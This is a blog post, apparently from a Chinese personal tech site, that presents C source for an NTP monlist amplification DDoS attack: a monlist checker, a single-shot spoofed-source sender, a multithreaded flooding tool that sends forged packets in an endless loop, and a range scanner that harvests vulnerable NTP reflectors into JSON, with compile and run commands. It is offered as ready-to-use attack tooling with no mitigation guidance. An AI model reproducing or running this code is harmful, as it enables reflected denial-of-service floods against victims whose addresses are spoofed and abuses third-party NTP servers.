跳至正文
大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
关

搜索

大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
关

搜索

家/网络安全与渗透/DDOS – NTP 放大攻击 代码
网络安全与渗透

DDOS – NTP 放大攻击 代码

作者 大神K
2026年5月2日 7 分钟阅读
0

检测ntp是否支持monlist

gcc -o ntp_monlist_check ntp_monlist_check.c
./ntp_monlist_check 192.168.1.100
# 或
./ntp_monlist_check 8.8.8.8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define NTP_PORT 123
#define BUFFER_SIZE 1024

// MON_GETLIST 请求包 (Mode 7)
unsigned char monlist_request[] = {
    0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00
    // 0x17: Response=0, More=0, Version=2, Mode=7
    // 0x00: Auth=0, Sequence=0
    // 0x03: Implementation = XNTPD (3)
    // 0x2a: Request code = MON_GETLIST (42)
};

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("用法: %s <NTP服务器IP>\n", argv[0]);
        return 1;
    }

    int sock;
    struct sockaddr_in server_addr;
    unsigned char buffer[BUFFER_SIZE];
    socklen_t addr_len = sizeof(server_addr);

    // 创建 UDP socket
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket 创建失败");
        return 1;
    }

    // 设置服务器地址
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(NTP_PORT);
    server_addr.sin_addr.s_addr = inet_addr(argv[1]);

    // 发送 monlist 请求
    if (sendto(sock, monlist_request, sizeof(monlist_request), 0,
               (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("发送失败");
        close(sock);
        return 1;
    }

    // 设置超时 2 秒
    struct timeval tv;
    tv.tv_sec = 2;
    tv.tv_usec = 0;
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    // 接收响应
    int n = recvfrom(sock, buffer, BUFFER_SIZE, 0,
                     (struct sockaddr*)&server_addr, &addr_len);

    if (n < 0) {
        printf("未收到响应 → monlist 可能已被禁用\n");
    } else if (n >= 8) {
        // 解析响应头
        unsigned char impl = buffer[2];
        unsigned char req_code = buffer[3];
        unsigned short data_items = ((buffer[4] & 0x0F) << 8) | buffer[5];
        unsigned short item_size = (buffer[6] << 8) | buffer[7];  // 注意字节序

        printf("收到响应 (%d 字节)\n", n);
        printf("Implementation: 0x%02x, Request Code: 0x%02x\n", impl, req_code);
        printf("数据项数量: %d, 每项大小: 0x%04x (%d 字节)\n", 
               data_items, item_size, item_size);

        if (req_code == 0x2a && item_size == 0x48) {
            printf("✅ MONLIST 支持已启用(存在放大攻击风险!)\n");
        } else {
            printf("❌ MONLIST 未启用或已被限制\n");
        }
    } else {
        printf("响应数据太短\n");
    }

    close(sock);
    return 0;
}

单线程攻击

gcc -o ntp_monlist_spoof ntp_monlist_spoof.c
sudo ./ntp_monlist_spoof <目标IP> <伪造源IP>
sudo ./ntp_monlist_spoof 203.0.113.50 198.51.100.100
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

#define NTP_PORT 123

// MON_GETLIST 请求数据
unsigned char monlist_data[] = {
    0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00
};

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char*)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("用法: %s <目标NTP服务器IP> <伪造源IP>\n", argv[0]);
        printf("示例: %s 192.168.1.100 10.0.0.5\n", argv[0]);
        return 1;
    }

    const char *target_ip = argv[1];
    const char *spoofed_ip = argv[2];

    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("创建 Raw Socket 失败(请使用 root/sudo 权限)");
        return 1;
    }

    char packet[4096];
    memset(packet, 0, sizeof(packet));

    struct iphdr *ip = (struct iphdr *)packet;
    struct udphdr *udp = (struct udphdr *)(packet + sizeof(struct iphdr));
    unsigned char *data = packet + sizeof(struct iphdr) + sizeof(struct udphdr);

    // 填充 monlist 数据
    memcpy(data, monlist_data, sizeof(monlist_data));

    // IP 头部
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(monlist_data));
    ip->id = htons(12345);
    ip->frag_off = 0;
    ip->ttl = 64;
    ip->protocol = IPPROTO_UDP;
    ip->check = 0;
    ip->saddr = inet_addr(spoofed_ip);     // 伪造源 IP
    ip->daddr = inet_addr(target_ip);

    // UDP 头部
    udp->source = htons(12345);
    udp->dest = htons(NTP_PORT);
    udp->len = htons(sizeof(struct udphdr) + sizeof(monlist_data));
    udp->check = 0;

    // 计算 IP 校验和
    ip->check = checksum((unsigned short *)packet, sizeof(struct iphdr));

    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = ip->daddr;

    printf("发送伪造请求 → 目标: %s | 伪造源IP: %s\n", target_ip, spoofed_ip);

    if (sendto(sock, packet, ntohs(ip->tot_len), 0, 
               (struct sockaddr*)&dest, sizeof(dest)) < 0) {
        perror("发送失败");
    } else {
        printf("✅ 请求已发送!\n");
        printf("注意:响应会发往伪造的 IP (%s),本地通常收不到。\n", spoofed_ip);
    }

    close(sock);
    return 0;
}

优化后的版本(多线程 + 基础性能优化)

gcc -o ntp_flood -pthread ntp_flood.c
sudo ./ntp_flood <目标IP> <伪造源IP> <线程数>
sudo ./ntp_flood 192.168.1.100 10.0.0.5 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <pthread.h>
#include <signal.h>

#define NTP_PORT 123
#define DEFAULT_THREADS 4
#define PACKET_SIZE 128

unsigned char monlist_data[] = {0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00};

volatile int running = 1;
char *target_ip;
char *spoofed_ip;
int thread_count;

// 校验和函数
unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2) sum += *buf++;
    if (len == 1) sum += *(unsigned char*)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

void *send_thread(void *arg) {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("线程创建 Raw Socket 失败");
        return NULL;
    }

    char packet[PACKET_SIZE];
    struct iphdr *ip = (struct iphdr *)packet;
    struct udphdr *udp = (struct udphdr *)(packet + sizeof(struct iphdr));
    unsigned char *data = packet + sizeof(struct iphdr) + sizeof(struct udphdr);

    memcpy(data, monlist_data, sizeof(monlist_data));

    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(monlist_data));
    ip->id = htons(12345);
    ip->frag_off = 0;
    ip->ttl = 64;
    ip->protocol = IPPROTO_UDP;
    ip->saddr = inet_addr(spoofed_ip);
    ip->daddr = inet_addr(target_ip);

    udp->source = htons(12345 + (long)arg);  // 每个线程略微不同端口
    udp->dest = htons(NTP_PORT);
    udp->len = htons(sizeof(struct udphdr) + sizeof(monlist_data));
    udp->check = 0;

    ip->check = checksum((unsigned short *)packet, sizeof(struct iphdr));

    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = ip->daddr;

    while (running) {
        sendto(sock, packet, ntohs(ip->tot_len), 0, (struct sockaddr*)&dest, sizeof(dest));
        // 可选:usleep(100);  // 控制速度,避免瞬间把网卡打满
    }

    close(sock);
    return NULL;
}

void stop_handler(int sig) {
    running = 0;
    printf("\n停止发送...\n");
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("用法: %s <目标IP> <伪造源IP> <线程数>\n", argv[0]);
        printf("示例: %s 203.0.113.50 198.51.100.100 8\n", argv[0]);
        return 1;
    }

    target_ip = argv[1];
    spoofed_ip = argv[2];
    thread_count = atoi(argv[3]);
    if (thread_count < 1) thread_count = DEFAULT_THREADS;

    signal(SIGINT, stop_handler);

    printf("启动 %d 个线程 → 目标: %s | 伪造源: %s\n", thread_count, target_ip, spoofed_ip);
    printf("按 Ctrl+C 停止...\n");

    pthread_t *threads = malloc(thread_count * sizeof(pthread_t));

    for (int i = 0; i < thread_count; i++) {
        if (pthread_create(&threads[i], NULL, send_thread, (void*)(long)i) != 0) {
            perror("创建线程失败");
        }
    }

    for (int i = 0; i < thread_count; i++) {
        pthread_join(threads[i], NULL);
    }

    free(threads);
    return 0;
	}

完整可编译运行版本(单线程 epoll + CIDR + 文件输入 + 速率控制 + JSON 输出)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>

#define MAX_EVENTS 8192
#define NTP_PORT 123
#define TIMEOUT_MS 1200
#define MAX_IPS 2000000

typedef struct {
    uint32_t ip;
    int stage;          // 0:未扫描, 1:已发NTP查询, 2:已发monlist
    time_t send_time;
} ScanItem;

static volatile int running = 1;
static int open_count = 0, monlist_count = 0;
static ScanItem *scan_list = NULL;
static int total_ips = 0;
static FILE *json_fp = NULL;

void sig_handler(int sig) { running = 0; }

// ==================== CIDR 解析 ====================
uint32_t ip_to_int(const char *ip) {
    unsigned int a, b, c, d;
    sscanf(ip, "%u.%u.%u.%u", &a, &b, &c, &d);
    return (a<<24) | (b<<16) | (c<<8) | d;
}

void int_to_ip(uint32_t ip, char *buf) {
    sprintf(buf, "%d.%d.%d.%d", (ip>>24)&0xFF, (ip>>16)&0xFF, (ip>>8)&0xFF, ip&0xFF);
}

int parse_cidr(const char *cidr, uint32_t **out_ips, int *out_count) {
    char ipstr[16];
    int prefix;
    if (sscanf(cidr, "%15[^/]/%d", ipstr, &prefix) != 2) return -1;
    if (prefix < 8 || prefix > 32) return -1;

    uint32_t base = ip_to_int(ipstr);
    base &= ~((1U << (32 - prefix)) - 1);   // 网络地址

    *out_count = 1U << (32 - prefix);
    if (*out_count > MAX_IPS) *out_count = MAX_IPS;

    *out_ips = malloc(*out_count * sizeof(uint32_t));
    for (int i = 0; i < *out_count; i++) {
        (*out_ips)[i] = htonl(base + i);
    }
    return 0;
}

// ==================== 主程序 ====================
int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("用法: %s <CIDR或IP文件> [PPS] [输出JSON]\n", argv[0]);
        printf("示例:\n  %s 192.168.1.0/24 5000 result.json\n", argv[0]);
        printf("  %s ips.txt 2000\n", argv[0]);
        return 1;
    }

    int pps = (argc > 2) ? atoi(argv[2]) : 800;
    const char *json_file = (argc > 3) ? argv[3] : "ntp_scan.json";

    json_fp = fopen(json_file, "w");
    if (json_fp) fprintf(json_fp, "[\n");

    signal(SIGINT, sig_handler);

    // 加载 IP
    uint32_t *ips = NULL;
    if (strchr(argv[1], '/')) {
        // CIDR
        if (parse_cidr(argv[1], &ips, &total_ips) != 0) {
            printf("CIDR 格式错误\n");
            return 1;
        }
    } else {
        // 从文件读取
        FILE *f = fopen(argv[1], "r");
        if (!f) { perror("打开文件失败"); return 1; }
        ips = malloc(MAX_IPS * sizeof(uint32_t));
        char line[64];
        while (fgets(line, sizeof(line), f) && total_ips < MAX_IPS) {
            line[strcspn(line, "\r\n")] = 0;
            if (strlen(line) > 6) ips[total_ips++] = inet_addr(line);
        }
        fclose(f);
    }

    printf("加载 %d 个 IP | PPS上限 ≈ %d | 输出文件: %s\n", total_ips, pps, json_file);

    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    fcntl(sock, F_SETFL, O_NONBLOCK);

    int epfd = epoll_create1(0);
    struct epoll_event ev = {.events = EPOLLIN | EPOLLET, .data.fd = sock};
    epoll_ctl(epfd, EPOLL_CTL_ADD, sock, &ev);

    struct epoll_event events[MAX_EVENTS];
    time_t last_print = time(NULL);
    long long sent = 0, start_time = time(NULL);
    int idx = 0;   // 当前扫描位置

    unsigned char ntp_query[48] = {0x1b};           // 普通 NTP 查询
    unsigned char monlist_req[8] = {0x17, 0x00, 0x03, 0x2a, 0x00, 0x00, 0x00, 0x00};

    while (running && (idx < total_ips || sent < total_ips * 2)) {
        // 接收响应
        int nfds = epoll_wait(epfd, events, MAX_EVENTS, 5);
        for (int i = 0; i < nfds; i++) {
            if (events[i].events & EPOLLIN) {
                struct sockaddr_in from;
                socklen_t len = sizeof(from);
                unsigned char buf[512];
                int n = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr*)&from, &len);
                if (n > 0) {
                    char ip_str[16];
                    int_to_ip(ntohl(from.sin_addr.s_addr), ip_str);

                    pthread_mutex_t dummy = PTHREAD_MUTEX_INITIALIZER; // 简化
                    if (buf[0] & 0x08) {  // 简单判断响应
                        open_count++;
                        printf("[+] OPEN     %s\n", ip_str);

                        // 继续发送 monlist 查询
                        sendto(sock, monlist_req, sizeof(monlist_req), 0, (struct sockaddr*)&from, len);
                    } else if (n >= 8 && buf[3] == 0x2a) {
                        monlist_count++;
                        printf("[!] MONLIST  %s\n", ip_str);
                    }

                    if (json_fp) {
                        fprintf(json_fp, "  {\"ip\":\"%s\",\"open\":true,\"monlist\":%s}%s\n", 
                                ip_str, (n>=8 && buf[3]==0x2a)?"true":"false", 
                                (open_count+monlist_count < total_ips) ? "," : "");
                    }
                }
            }
        }

        // 控制速率发送
        if (idx < total_ips && (sent * 1000LL / (time(NULL)-start_time+1) < pps)) {
            struct sockaddr_in dest = {0};
            dest.sin_family = AF_INET;
            dest.sin_port = htons(NTP_PORT);
            dest.sin_addr.s_addr = ips[idx];

            sendto(sock, ntp_query, sizeof(ntp_query), 0, (struct sockaddr*)&dest, sizeof(dest));
            idx++;
            sent++;
        }

        if (time(NULL) - last_print >= 3) {
            printf("进度: %d/%d | Open: %d | Monlist危险: %d | 当前PPS≈%.0f\n", 
                   idx, total_ips, open_count, monlist_count, 
                   (double)sent / (time(NULL)-start_time+1));
            last_print = time(NULL);
        }

        usleep(500);   // 轻微让出CPU
    }

    if (json_fp) {
        fprintf(json_fp, "]\n");
        fclose(json_fp);
    }

    free(ips);
    close(epfd);
    close(sock);
    printf("\n扫描完成! 共扫描 %d 个IP | 开放 NTP: %d | 支持 monlist: %d\n", total_ips, open_count, monlist_count);
    return 0;
}
📌 版权声明

文章作者:大神K

原文链接:https://dashenk.com/2026/05/02/ddos-ntp-%e6%94%be%e5%a4%a7%e6%94%bb%e5%87%bb-%e4%bb%a3%e7%a0%81/

版权说明:本文为原创内容,转载请注明出处。

标签:

DDOSNTP代码
作者

大神K

我是一个长期在技术与赚钱之间反复横跳的人。 做过网站、搞过SEO、写过程序,也踩过币圈的坑。 现在在做的事情很简单: 用 AI + 技术,把复杂的事情变简单,把一个人变成一支队伍。 这个网站,不是教程站,而是我的「操作记录」。 一个站长如何做 SEO 和流量 一个开发者如何用 AI 提高效率 一个交易者如何系统性构建赚钱模型 只讲能落地的方案,分享: 真实经验 + 踩过的坑 在这个时代,一个人,也可以是一家公司。

关注我
其他文章
上一个

苹果IOS的推送出问题了 刚解决

下一个

甲骨文云(Oracle Cloud)最新注册防坑记录:被ABC了怎么办?

暂无评论!成为第一个。

发表回复 取消回复

您的邮箱地址不会被公开。 必填项已用 * 标注

广告 × 广告
广告 × 广告
广告 × 广告
广告 × 广告

Agent AI写作 AI利用 AI变现 AI大模型 AI工具 ChatGPT Claude Cloudflare CVE Epusdt Gemma4 GEO技术 GitHub GPT GPT-Image-2 Hermes Image-2 Linux MacOS系统 OpenClaw POC RackNerd Skills VPS Windows WordPress 下载利器 两性 免费工具 免费模型 大龙虾 小红书 工具使用 开源免费 提示词 教学 教程 本地运行 梯子 漏洞 爬虫工具 社工库 资源下载 部署

大神K
🚀 AI工具|建站教程|副业变现
用技术改变收入结构
免费获取AI工具合集 →
© 2026 大神K · AI Tools & Growth System